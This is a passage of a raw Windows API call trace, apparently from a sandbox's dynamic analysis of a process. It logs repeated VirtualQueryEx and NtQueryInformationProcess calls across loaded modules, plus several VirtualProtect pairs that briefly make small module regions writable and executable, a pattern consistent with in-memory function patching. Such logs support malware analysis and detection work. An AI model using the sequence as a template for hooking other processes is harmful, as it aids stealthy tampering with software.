ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.874] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f10000, AllocationBase=0x7fef7f10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.874] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.874] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7e90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7e90000, AllocationBase=0x7fef7e90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.874] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.874] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbef0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbef0000, AllocationBase=0x7fefbef0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.874] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.875] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbde0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbde0000, AllocationBase=0x7fefbde0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.875] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.877] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.877] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.877] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7830000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7830000, AllocationBase=0x7fef7830000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.877] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.877] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.877] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.877] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef77b0000, AllocationBase=0x7fef77b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.877] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.877] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x733e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x733e0000, AllocationBase=0x733e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.877] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.878] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb070000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb070000, AllocationBase=0x7fefb070000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.878] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.878] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7760000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7760000, AllocationBase=0x7fef7760000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.878] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.878] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7750000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7750000, AllocationBase=0x7fef7750000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.878] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.878] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.878] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.878] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7720000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7720000, AllocationBase=0x7fef7720000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.878] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.879] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4b50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4b50000, AllocationBase=0x7fef4b50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.879] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.879] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa9a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa9a0000, AllocationBase=0x7fefa9a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.879] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.879] VirtualProtect (in: lpAddress=0x7fefa9ba740, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.880] VirtualProtect (in: lpAddress=0x7fefa9ba740, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.881] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f60000, AllocationBase=0x7fef7f60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.881] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb430000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb430000, AllocationBase=0x7fefb430000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.882] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa930000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa930000, AllocationBase=0x7fefa930000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.882] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4a00000, AllocationBase=0x7fef4a00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.882] VirtualProtect (in: lpAddress=0x7fef4a010c0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x20) returned 1 [0042.900] VirtualProtect (in: lpAddress=0x7fef4a010c0, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.901] VirtualProtect (in: lpAddress=0x7fef4a010b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x20) returned 1 [0042.902] VirtualProtect (in: lpAddress=0x7fef4a010b8, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.903] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefabe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefabe0000, AllocationBase=0x7fefabe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.903] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.903] VirtualProtect (in: lpAddress=0x7fefac177b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.904] VirtualProtect (in: lpAddress=0x7fefac177b8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.905] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4980000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4980000, AllocationBase=0x7fef4980000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.905] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.906] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4960000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4960000, AllocationBase=0x7fef4960000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.906] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.906] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f50000, AllocationBase=0x7fef7f50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.906] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.906] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46d0000, AllocationBase=0x7fef46d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.906] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.907] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefab80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefab80000, AllocationBase=0x7fefab80000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.907] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.907] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefee00000, AllocationBase=0x7fefee00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.907] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.907] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefab70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefab70000, AllocationBase=0x7fefab70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.907] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.907] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefad20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefad20000, AllocationBase=0x7fefad20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.907] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.908] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46c0000, AllocationBase=0x7fef46c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.908] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.908] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46a0000, AllocationBase=0x7fef46a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.908] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.908] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4660000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4660000, AllocationBase=0x7fef4660000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.908] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.908] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4bf0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4bf0000, AllocationBase=0x7fef4bf0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.909] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.909] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd180000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd180000, AllocationBase=0x7fefd180000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.909] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.909] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefae10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefae10000, AllocationBase=0x7fefae10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.909] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.910] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef44a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef44a0000, AllocationBase=0x7fef44a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.910] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.910] VirtualProtect (in: lpAddress=0x7fef44ca2b0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.911] VirtualProtect (in: lpAddress=0x7fef44ca2b0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.912] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4480000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4480000, AllocationBase=0x7fef4480000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.912] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.912] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcbd0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcbd0000, AllocationBase=0x7fefcbd0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.912] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.912] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa8f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa8f0000, AllocationBase=0x7fefa8f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.912] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.913] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd8c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd8c0000, AllocationBase=0x7fefd8c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.913] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.913] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa8d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa8d0000, AllocationBase=0x7fefa8d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.913] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.913] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc5a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc5a0000, AllocationBase=0x7fefc5a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, 